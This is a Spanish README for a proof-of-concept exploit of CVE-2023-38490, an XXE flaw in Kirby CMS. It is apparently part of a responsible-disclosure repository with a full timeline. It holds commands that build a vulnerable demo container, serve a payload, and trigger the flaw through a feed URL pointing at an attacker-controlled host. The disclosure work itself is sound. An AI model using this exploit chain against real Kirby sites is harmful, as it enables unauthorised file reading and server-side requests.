Kirby Entidad Externa XML (XXE) - exploit CVE-2023-38490
Kirby < 3.9.6 Entidad Externa XML
Exploit para CVE-2023-38490 / GHSA-q386-w6fg-gmgp.
Demostración de explotación
Construye y ejecuta la aplicación demo vulnerable:
cd docker
docker buildx build -t kirby-starterkit-3.9.5 .
docker run -d --rm -p 127.0.0.2:1337:80/tcp --name CVE-2023-38490 kirby-starterkit-3.9.5:latest
Sirve el payload de demo:
Nota: elige una dirección de enlace a la que el contenedor docker pueda acceder.
popd
ruby -run -e httpd ./payload -p 9999 -b 192.168.0.225
Ejecuta el exploit:
xdg-open http://127.0.0.2:1337/rssfeed?feed=http://192.168.0.225:9999/xxe.rss
¿Cómo y por qué funciona?
La función vulnerable está presente en Kirby Core pero no se usa por defecto en Kirby Core, Kirby StarterKit o Kirby PlainKit. Esto significa que la vulnerabilidad no te afectará en la configuración predeterminada, pero podría introducirse con desarrollo personalizado o instalando un plugin que use el toolkit afectado.
Para más detalles, lee el artículo dedicado (EN 🇬🇧 o FR 🇫🇷).
Referencias
- Software objetivo: Kirby
- Página principal / Proveedor: https://getkirby.com/
- Código fuente:
- Versiones vulnerables:
- <= 3.5.8.2
- 3.6.0-3.6.6.2
- 3.7.0-3.7.5.1
- 3.8.0-3.8.4
- 3.9.0-3.9.5
- Versiones parcheadas:
- 3.5.8.3+
- 3.6.6.3+
- 3.7.5.2+
- 3.8.4.1+
- 3.9.6+
- Parches:
- Avisos:
Cronología
- Semana 24 - Lun, 12 Jun 2023: Vulnerabilidad descubierta por Alexandre ZANNI (@noraj), Ingeniero de Pruebas de Penetración en ACCEIS.
- Semana 24 - Mar, 13 Jun 2023: Vulnerabilidad reportada al editor (Kirby) por Alexandre ZANNI
- Semana 24 - Mié, 14 Jun 2023: Prueba de Concepto compartida con el editor (Kirby) por Alexandre ZANNI
- Semana 24 - Mié, 14 Jun 2023: RFC 9116 security.txt añadido a getkirby.com
- Semana 24 - Jue, 15 Jun 2023: Vulnerabilidad confirmada por el editor (Kirby)
- Semana 24 - Jue, 15 Jun 2023: Lanzamiento de correcciones y parches planificado
- Semana 26 - Jue, 29 Jun 2023: Vulnerabilidad descubierta de forma independiente por Patrick FALB (@dapatrese) en FORMER 03.
- Semana 28 - Dom, 16 Jul 2023: Creación de un advisory privado de GitHub
- Semana 29 - Dom, 23 Jul 2023: ID de CVE solicitado
- Semana 29 - Dom, 23 Jul 2023: Vulnerabilidad parcheada por el editor (Kirby)
- Semana 30 - Lun, 24 Jul 2023: Alexandre ZANNI invitado al advisory privado por el editor (Kirby)
- Semana 30 - Lun, 24 Jul 2023: Preparación de un contenedor docker demo vulnerable por Alexandre ZANNI
- Semana 30 - Lun, 24 Jul 2023: ID de CVE CVE-2023-38490 registrado (reservado)
- Semana 30 - Jue, 27 Jul 2023: Publicación del advisory de GitHub y parches
Aviso Legal
ACCEIS no promueve ni alienta ninguna actividad ilegal; todo el contenido proporcionado por este repositorio es solo con fines de investigación, educativos y de detección de amenazas.